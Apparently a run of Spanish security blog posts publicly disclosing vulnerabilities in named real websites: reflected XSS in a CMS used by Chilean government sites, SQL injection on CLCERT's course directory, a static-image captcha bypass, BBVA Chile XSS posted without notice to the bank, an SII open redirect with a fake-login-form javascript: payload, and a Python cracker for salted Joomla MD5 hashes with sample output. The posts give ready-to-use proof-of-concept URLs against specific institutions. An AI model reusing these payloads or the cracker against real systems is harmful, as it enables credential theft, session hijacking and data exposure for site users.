- http://www.servipag.com/browse.asp?pagina=web/msgerror.htm&mensaje_error=%3C/a%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

Aparentemente el error está corregido, ya que muestra el mismo mensaje de más arriba. Pero, estará realmente corregido?

Bueno, esto demuestra el horrible manejo de incidentes que tienen las empresas que dicen tener altos estandares de seguridad. Empresas que prometen privacidad y seguridad, hacen que los usuarios confien en ellos y nuevamente quedan al descubierto.

Esta plataforma de Software permite administrar contenidos y hacer sustentables sitios Web de alta complejidad. Los documentos se almacenan en un reservorio de conocimiento y pueden ser caracterizados según múltiples miradas (clasificandos). Engine apoya las labores de Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición de Contenidos, interconectando las labores del equipo de trabajo a través de un sistema de workflow.

La vulnerabilidad está presente en el buscador de este CMS y se replica la mayoría de sus clientes/usuarios.
Se deteca cuando vemos el codigo fuente del buscador, vemos que tiene un atribuo “onsubmit=doSearch()”

Al realizar la busqueda, la función doSearch() nos cambia el href:

function doSearch() {
				// Delete search's cookies
                if( "exists".match ) {
                    var results = document.cookie.match(/\w+=/g);
						if( results ) {
							for( var i=0; i < results.length; i++ ) {
								if( results[i].substring(0,7) == 'search_' ) {
									deleteCookie( results[i].substring(0,results[i].length-1) );
								}
							}
						}
                	}

					setCookie('search_keywords',document.searchForm.keywords.value);
					setCookie('search_start', 0 );
					setCookie('search_group', 0 );
					setCookie('search_expanded', 0 );
					document.location.href="w3-propertyvalue-16131.html";
                    return false;
                } 

Y cuando carga el sitio "w3-propertyvalue...." podemos ver en el codigo fuente que se genera el siguiente javascript:

var url = 'http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query';
	url+= '&engine=SwisheFind';
	url+= '&rpp=';
	url+= '&cid=815';
	url+= '&stid=';
	url+= '&iid=1257';
	url+= '&grclass=resultado-busqueda';
	url+= '&pnid=';
	url+= '&pnid_df=';
	url+= '&pnid_tf=';
	url+= '&pnid_search=2033,1999,1849';
	url+= '&limit=';
	url+= '&searchon=';
	url+= '&channellink=';
	url+= '&articlelink=w3:article';
	url+= '&pvlink=w3:propertyvalue';
	url+= '&notarticlecid=';
	url+= '&use_cid_owner_on_links=';
	url+= '&show_ancestors=';
	url+= '&show_pnid=';
	url+= '&cids=815';
	if( "exists".match ) {
		var results = document.cookie.match(/\w+=/g);
		if( results ) {
			for( var i=0; i < results.length; i++ ) {
				if( results[i].substring(0,7) == 'search_' ) {
					url += '&' + results[i].substring(7,results[i].length) + escape( getCookie( results[i].substring(0,results[i].length-1) ) );
				}
			}
		}
	} else {
		url+= '&start=' + getCookie( 'search_start' );
		url+= '&keywords=' + escape(getCookie( 'search_keywords' ));
	}
	url+= '&prepnidtext=' + escape('');
	// Descomentar la siguiente linea para depurar
	//document.write( '<' + 'iframe width="500" height="500" src="' + url + '">' + + '< ' + '/iframe>' );
	url+= '&javascript=1';
	document.write( ' < \/scr' + 'ipt>' );

Esta vulnerabilidad afecta el propio sitio web de la empresa y a casi todos sus clientes.
A partir de este codigo javascript generado por el CMS, construiremos nuestro XSS.

Para este ejemplo, lo que nos interesa es el valor final de la variable “url”, que en este caso es algo similar a:

http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query&engine=SwisheFind&rpp=&cid=815&stid=&iid=1257&grclass=resultado-busqueda&pnid=&pnid_df=&pnid_tf=&pnid_search=2033,1999,1849&limit=&searchon=&channellink=&articlelink=w3:article&pvlink=w3:propertyvalue&notarticlecid=&use_cid_owner_on_links=&show_ancestors=&show_pnid=&cids=815&keywords=prueba

Ya nos salimos del dominio conama.cl y entramos a jugar al subdominio ntg-engine.conama.cl, donde está instalado el motor (engine) del CMS. Si abrimos la URL de prueba, podemos ver el siguiente resultado:

Aparece en negrita la palabra que buscamos. Si en lugar de prueba insertamos un codigo javascript, será ejecutado:

Los sitios afectados son:

Newtenberg – http://www.newtenberg.com
SINIA (Sistema Nacional de Informacion Ambiental) – http://www.sinia.cl
Ministerio del Medio Ambiente – http://www.mma.gob.cl
Superintendencia de Servicios Sanitarios – http://www.siss.gob.cl
Repositorio Institucional CONICYT – http://ri.conicyt.cl
Red Lideres – http://www.redlideres.cl
Punto Lex – http://www.puntolex.cl
Subsecretaria de Desarrollo Regional y Administrativo – http://www.subdere.gov.cl
CONAMA – http://www.conama.cl
El Periodista – http://www.elperiodista.cl/
Colombia Aprende – http://www.colombiaaprende.edu.co

Cada uno de estos sitios construye su propia URL dependiendo de los parametros, cuando hagamos una busqueda y veamos el codigo fuente, podemos ver el javascript generado automaticamente y crear nuestra URL explotable a partir de la variable “url”.

PoC Subsecretaria de Desarrollo Regional y Administrativo (SUBDERE)

URL: http://engine.subdere.gov.cl/mod/find/cgi/find.cgi?action=query&engine=&rpp=20&cid=876&stid=&iid=1510&grclass=&pnid=&pnid_df=&pnid_tf=&pnid_search=2403,2400,2444,2460,2530,2570,2544,2569,2541,2571&limit=&searchon=&channellink=&articlelink=w3:article&pvlink=w3:propertyvalue&notarticlecid=&use_cid_owner_on_links=&show_ancestors=1&show_pnid=1&cids=876&keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E

PoC en el propio sitio de Newtenberg

URL: http://engine.newtenberg.com/mod/find/cgi/find.cgi?action=query&engine=SwisheFind&rpp=10&cid=924&stid=5686&iid=1765&grclass=resultadobusqueda&pnid=&pnid_df=&pnid_tf=&pnid_search=&limit=&searchon=&channellink=&articlelink=&pvlink=&notarticlecid=0&use_cid_owner_on_links=0&show_ancestors=&show_pnid=&cids=924&keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E

El error se produce al no filtrar el contenido de la variable “keywords“.

No se descarta que puedan haber mas sitios afectados.

El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.

Si bien CLCERT es una “organización” que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios web con vulnerabilidades tan basicas.
Esta organización da cursos y diplomados relacionados a la “Seguridad Computacional” o como la mayoría los conoce “Cursos de Seguridad Informática” o simplemente “Cursos de Seguridad”. Todas las personas que han pasado por estos cursos se pueden ver en la URL http://capacita.clcert.cl/dir/ la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.

La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable “apellido”, “id” y “fecha” del archivo index.php. Y la XSS se produce a partir de esta misma.

Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url

Deducimos que podemos inyectar código sql mediante la variable “apellido“.

Proof-of-Concept

1. SQL Injection

Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter ” ‘ ” al valor de la variable mediante la URL http://capacita.clcert.cl/dir/?apellido=%27 y obtenemos el error esperado con la información deseada:

Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones user() y version() propias del MySQL.

Obteniendo en los campos correspondientes la información solicitada

Con este simple sql injection ya tenemos información relevante. Usuario “diplomado” y version 4.1.22 del mysql.

2. Cross-Site Scripting

Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos “‘ esta es una prueba” veremos lo siguiente:

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘esta es una prueba%’‘ at line 1Executed query: select apellidos, nombres, fecha , id from users where apellidos like ” esta es una prueba%’

Por lo tanto, si en lugar de “esta es una prueba” ingresamos un codigo javascript, será ejecutado:

Es increible como las organizaciones que “luchan” por la seguridad son inseguras. Errores tan basicos, tan simples … Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.

La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio.

Links

Reporte XSS en Secureless
Reporte SQL-Injection en Secureless

Hace tiempo publiqué un XSS en FeriaMix, esta vez les mostraré la ineficiencia de un captcha en el mismo sitio. Todos sabemos que el captcha sirve para detectar que realmente es un humano quien está detrás del teclado y no un bot.

Captcha es el acrónimo de Completely Automated Public Turing test to tell Computers and Humans Apart (Prueba de Turing pública y automática para diferenciar máquinas y humanos).

En el sitio “recuperar contraseña” de FeriaMix pueden ver un captcha que aparentemente es “normal”,

pero fijense en un detalle, cuando escriben mal la palabra que aparece en el captcha y le dan al boton “continuar”, salta automaticamente una alerta en javascript diciendo que el captcha no es valido.

Con esto podemos deducir que se hace la validación del captcha antes de que se envie la información al servidor, por lo tanto, es posible vulnerarlo. Si revisamos el codigo javascript encontramos “jcap.js” el cual contiene una validacion demasiado basica e insegura.

Sorpresa! La imagen del captcha que ustedes ven no es autogenerada, sino una imagen con una palabra estatica!

La imagen “71.jpg” tiene la palabra “mine”, la 72 tiene otra palabra y asi hasta la 191.jpg. Si van al directorio de “/jcap/cimg/” podran ver un listado de todas las imagenes del captcha.

De esta forma es tan facil como hacer un bot que se conecte, obtenga el nombre de la imagen y segun el “numero” de imagen, escriba una palabra predeterminada.

Se puede llamar CAPTCHA a esto?

El banco BBVA Chile no se queda atras en sus vulnerabilidades y buscando donde poder reportarlas no he encontrado nada, solo teléfonos donde piden demasiada información personal. No hay ningun formulario ni correo electrónico, por lo que nuevamente se acude a la tecnica de la publicación.

Al igual que lo comentado en el post de El Phishing y el Banco Santander Chile, la idea es dar a conocer como los bancos se lavan las manos con sus campañas anti phishing y anti fraudes, pero no son capaces de ofrecer una plataforma lo suficientemente robusta. Nuevamente este tipo de vulnerabilidades afectan a los usuarios y no al banco directamente, permitiendo el robo de credenciales e información personal, suplantación de identidad, etc.

La vulnerabilidad Cross-Site Scripting detectada se encuentra en la página principal del banco http://www.bbva.cl y corresponde al buscador. El tipoco error de no parsear los parametros de entrada que se pasan por el forumlario o por URL (GET/POST).

La vulnerabilidad no ha sido reportada al banco ya que no se ha encontrado ningun método de contacto, pero se ha publicado en Secureless junto al mismo tipo de vulnerabilidad correspondiente al BBVA de Colombia.

El script vulnerable corresponde a http://www.bbva.cl/tlch/jsp/ch/esp/meta/buscador/buscar.jsp que pasandole los parametros necesarios es posible ejecutar código javascript o html mediante la variable q.

Las politicas de seguridad del banco dicen textualmente:

Permitiendo este tipo de ataques (xss) el banco no está cumpliendo, ya que un atacante puede suplantar la identidad del sitio y abusar de la confianza que tiene el usuario/cliente en el sitio web del BBVA, pudiendo interceptar el tráfico, generar formularios falsos, redireccionar al usuario a sitios malignos, etc.

Nuevamente, este es un llamado para que los bancos se hagan cargo de este tipo de cosas!

Editado: (13 de Junio del 2011) La vulnerabilidad se encuentra corregida. El banco no respondio ningun email y tampoco dio ningun tipo de comunicado o mensaje al respecto.

Por ejemplo, para probar con un hash mas real probaremos con  bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel que corresponde a la password “test” concatenada con el SALT 5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel:

md5(testbd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel) = bd874661cb31eb7b612862725d0008f2

Entonces, la forma de crackear usando por ejemplo un diccionario seria tan facil como “parsear” el SALT, concatenarlo a la palabra del diccionario, calcular su md5 y compararla con el valor que está antes de los “:” del hash. Para esto, hice el siguiente script en Python:

#!/usr/bin/python2

from hashlib import md5
import sys
import string

original = sys.argv[1].split(':')
_md5 = original[0]
_salt = original[1]
print 'Trying to crack ' + _md5 + ' SALTED with ' + _salt + '... '
for line in sys.stdin:
	line = line.strip()
	attempt = md5(line + _salt).hexdigest()
	if(attempt == _md5):
		print _md5 + ':' + _salt + ' --- Password Found: ' + line
		print 'Hapy hacking!'
		sys.exit(0)
print 'Password not found : - ('
sys.exit(1)

Intenemos crackear el hash correspondiente a la password “test”:

$ ./john -i --stdout|python2 joomla-cracker.py bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel

Trying to crack bd874661cb31eb7b612862725d0008f2 SALTED with 5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel...
bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel
--- Password Found: test
Hapy hacking!
$

En este caso use “john the ripper” para generar un diccionario en el stdout pasandolo por stdin al script. Tambien se pueden usar diccionarios de la siguiente forma:

$ cat diccionario.txt|python2 joomla-cracker.py bd874661cb31eb7b612862725d0008f2:5LCuch6GA3Du5c3ywjxzlfPvXvvHZQel

Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario.

Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en el cliente.

La URL vulnerable es https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html que al agregarle al final “?http://alguna_url“, el usuario luego de iniciar sesión será redirigido hacia esa URL. Por ejemplo:

https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com

Luego de ingresar, seremos redirigidos a Google.

Tambien puede ser un javascript, por ejemplo mostrando las cookies de sesión:

O por ejemplo, usar javascript para dibujar un formulario que haga POST a un sitio remoto, capturando la información:

https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;

Abusando de la confianza que tiene el usuario sobre el sitio, con certificado SSL válido. De esta forma es posible obtener información confidencial de los usuarios, de forma transparente.

Nuevamente los sistemas informáticos dejan mucho que desear. Esta vulnerabilidad fue reportada la semana pasada mediante el formulario de contacto (el único medio disponible) pero no se obtuvo respuesta.